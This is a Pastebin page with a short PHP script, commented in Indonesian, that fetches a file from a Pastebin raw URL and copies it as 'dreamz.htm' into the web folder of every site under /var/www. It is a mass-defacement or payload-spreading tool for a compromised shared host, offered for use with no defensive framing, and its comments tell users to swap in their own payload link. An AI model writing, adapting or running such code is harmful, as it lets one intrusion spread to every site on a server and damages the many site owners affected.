SHARE
TWEET

Untitled

a guest May 20th, 2019 63 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. //jangan lupa lagi ngentod:v
  3.  
  4. error_reporting(0);
  5.  
  6. $root = '/var/www';
  7. $scan = scandir($root);
  8.  
  9. $nama = 'dreamz.htm'; // ganti nama file
  10. $isi = file_get_contents('https://pastebin.com/raw/aRuiWEW7'); // ganti link pastebin scriptmu
  11.  
  12. $bikin = fopen($nama, "w");
  13.          fwrite($bikin, $isi);
  14.          fclose($bikin);
  15.  
  16. foreach ( $scan as $a ) {
  17.     $dir = "$a \n";
  18.     $gas = $root.'/'.$a.'/web/'.$nama;
  19.     $cos = "$gas \n";
  20.     $asu = @copy($nama, $gas);
  21.     if($asu) {
  22.         print 'Done! => '.$cos; }
  23.             else { print 'Failed! => '.$dir; }
  24.     }
  25. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top